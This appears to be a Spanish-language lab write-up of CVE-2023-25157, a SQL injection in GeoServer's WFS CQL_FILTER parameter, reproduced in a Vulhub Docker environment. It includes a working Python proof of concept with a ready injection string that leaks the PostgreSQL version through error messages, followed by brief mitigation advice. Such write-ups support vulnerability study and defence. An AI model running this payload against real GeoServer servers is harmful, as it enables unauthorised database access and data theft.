geoserver CVE-2023-25157
White Hat 3rd [30th group] Kim Jeongwoo
Enlace de GitHub - https://github.com/custiya/geoserver-CVE-2023-25157
Resumen de la vulnerabilidad
- CVE-2023-25157 es una vulnerabilidad SQLi que afecta a GeoServer, una aplicación web de servicio de datos cartográficos de código abierto.
- Ocurre en algunas versiones de GeoServer 2.22.0 e inferiores.
- El parámetro CQL_FILTER en las solicitudes WFS (Web Feature Service) es vulnerable.
- Cualquier persona con acceso a la API sin autenticación puede explotarla.
Configuración del entorno
- Ejecute el comando
docker compose up -d para iniciar el entorno de prueba.
- Acceda a la página en
http://your-ip:8080/geoserver.
- Primero debe encontrar un espacio de trabajo existente que incluya un almacén de datos PostGIS.
- La instancia de GeoServer de Vulhub ya contiene un almacén de datos PostGIS.
- Nombre del espacio de trabajo: vulhub
- Nombre del almacén de datos: pg
- Nombre de la tabla: example
- Atributo utilizado: name
poc.py
- Es una inyección SQL construida basada en lo descrito anteriormente.
- La petición se envía al servidor usando el módulo
requests.
strStartsWith(name,'x'') = true
- Se agrega una comilla extra después de
x para romper la sintaxis SQL.
and 1=(SELECT CAST ((SELECT version()) AS integer))
- La función
version() devuelve la versión actual de PostgreSQL (cadena de texto).
CAST(... AS integer) fuerza la conversión a entero, provocando un error.
- El servidor devuelve un mensaje de error, lo que permite realizar pruebas de Inyección SQL Ciega.
# URL de destino
url = "http://localhost:8080/geoserver/ows"
# Cadena de inyección original a insertar en CQL_FILTER (decodificada de URL)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# Parámetros
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
Resultado

Conclusión
- Este PoC permite determinar la presencia de SQLi. Un atacante podría recopilar información del sistema mediante consultas SQL.
- Para prevenir este ataque, se debe agregar validación de entrada del usuario. Además, las sentencias SQL recibidas no deben ejecutarse directamente, sino almacenarse por separado y utilizarse de forma segura.